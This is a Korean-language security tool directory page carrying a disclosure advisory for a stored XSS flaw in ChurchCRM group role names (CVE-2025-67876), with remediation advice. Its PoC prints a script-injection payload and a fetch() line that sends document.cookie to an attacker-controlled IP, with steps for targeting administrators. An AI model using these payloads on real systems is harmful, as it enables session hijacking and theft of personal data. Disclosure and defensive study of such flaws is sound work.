Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-67876 — CVE-2025-67876 - ChurchCRM의 그룹 역할 이름에 저장형 XSS 취약점이 존재하여 관리자 세션 하이재킹으로 이어질 수 있음 | Kitploit
도구/GitHubGitHub/lukasz-rybak/cve-2025-67876
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHublukasz-rybak/cve-2025-67876

CVE-2025-67876

CVE-2025-67876 - ChurchCRM의 그룹 역할 이름에 저장형 XSS 취약점이 존재하여 관리자 세션 하이재킹으로 이어질 수 있음

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-67876: ChurchCRM 그룹 역할 이름의 저장형 XSS로 인한 관리자 세션 하이재킹

개요

필드세부 정보
CVE IDCVE-2025-67876
심각도치명적
보안 권고권고 보기
발견자Lukasz Rybak

영향받는 제품

  • ChurchCRM/CRM

세부 정보

요약

ChurchCRM에는 “Manage Groups” 권한을 가진 낮은 권한의 사용자가 그룹 역할 이름에 지속형 JavaScript를 주입할 수 있는 저장형 XSS(Cross-Site Scripting) 취약점이 존재합니다. 페이로드는 데이터베이스에 저장되며, 관리자를 포함한 모든 사용자가 GroupView.php 또는 PersonView.php처럼 해당 역할을 표시하는 페이지를 볼 때마다 실행됩니다. 이를 통해 완전한 세션 하이재킹과 계정 탈취가 가능합니다.

세부 내용

근본 원인은 그룹 역할 이름을 처리할 때 입력 검증과 출력 인코딩이 부족하다는 점입니다.

GroupEditor.php에서 그룹을 편집할 때 사용자는 역할 이름을 수정할 수 있습니다. 애플리케이션은 입력값을 살균(sanitize)하지 않습니다(예: strip_tags, htmlspecialchars, 서버 측 검증 없음). 이 값은 list_lst 데이터베이스 테이블에 저장됩니다.

이후 저장된 값은 이스케이프 처리 없이 HTML에 직접 주입됩니다:

  • GroupView.php에서 그룹 역할은 으로 감싸진 테이블 셀 안에 표시됩니다.
  • PersonView.php에서 사용자에게 할당된 역할은 “Assigned Groups” 아래에 표시됩니다.

이스케이프가 적용되지 않으므로 역할 이름에 저장된 모든 HTML 또는 JavaScript는 피해자의 브라우저에서 실행됩니다.

따라서 낮은 권한의 사용자(Manage Groups 권한 보유)는 역할에 JavaScript를 주입하고 해당 역할을 관리자에게 할당하여 권한을 전체 관리자로 승격할 수 있습니다.

PoC

1단계 - 공격자 설정

공격자가 제어하는 머신에 x.js를 생성합니다:

fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));

파일을 서빙합니다:

python3 -m http.server 800

2단계 - XSS 페이로드 주입

  1. Manage Groups 권한이 있는 사용자로 로그인합니다.

    이미지
  2. 다음 경로로 이동합니다: Groups → List Groups → 아무 그룹이나 선택 → Settings.

  3. “Group Roles” 섹션에서 기존 역할을 편집하거나 새 역할을 만듭니다.

  4. 악성 페이로드를 삽입합니다:

"><script src=//172.20.0.1:800/x.js></script>

이미지

Group Roles 목록에서 XSS 페이로드를 주입한 역할 옆의 Default를 클릭합니다. 이렇게 하면 그룹에 추가되는 모든 사용자에게 악성 역할이 자동으로 할당되므로, 관리자가 자신의 프로필을 볼 때 XSS가 트리거될 가능성이 높아집니다. 이미지 이전 기본 역할(일반적으로 "Member") 옆의 Delete를 클릭합니다. 정상적인 기본 역할을 제거하면 시스템이 이후 모든 할당에 XSS가 주입된 역할을 사용하게 되어, 피해자가 자신에게 할당된 역할을 표시하는 페이지를 볼 때 실행이 보장됩니다. 이미지

  1. 역할 이름을 저장합니다. 이미지

3단계 - 피해자에게 악성 역할 할당

  1. Group View 페이지로 이동합니다.

  2. 아무 사용자나 그룹 구성원으로 추가합니다(예: Church Admin).

    이미지
  3. 드롭다운에서 악성 역할을 선택합니다.

  4. 할당을 저장합니다.

    이미지

4단계 - XSS 실행

피해자(관리자)가 다음 페이지를 방문하면:

  • 자신의 사용자 프로필: PersonView.php

    이미지
  • 그룹 보기 페이지: GroupView.php

저장된 JavaScript가 즉시 실행됩니다.

공격자 서버에는 수신 요청이 표시됩니다: 이미지

이미지

이로써 계정 탈취 성공이 확인됩니다.

영향

  • 저장형 XSS
  • 전체 관리자 세션 하이재킹
  • 낮은 권한 사용자에서 전체 시스템 관리자로의 권한 상승
  • ChurchCRM에 저장된 모든 민감한 개인 데이터 노출

CWE

CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)

권장 사항

  • 모든 역할 이름 렌더링에 출력 인코딩(htmlspecialchars)을 구현합니다.
  • 역할 이름을 서버 측에서 검증하고 살균(sanitize)합니다.
  • 다른 목록 기반 편집 가능 필드에서 유사한 취약점이 있는지 검토합니다.
  • 중앙 집중식 이스케이프 라이브러리 또는 템플릿 엔진 사용을 고려합니다.

참고 자료

  • https://github.com/ChurchCRM/CRM/security/advisories/GHSA-j9gv-26c7-3qrh

고지 사항

이 CVE는 조정된 취약점 공개(coordinated vulnerability disclosure) 관행에 따라 책임 있게 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 사용됩니다.

도구 다운로드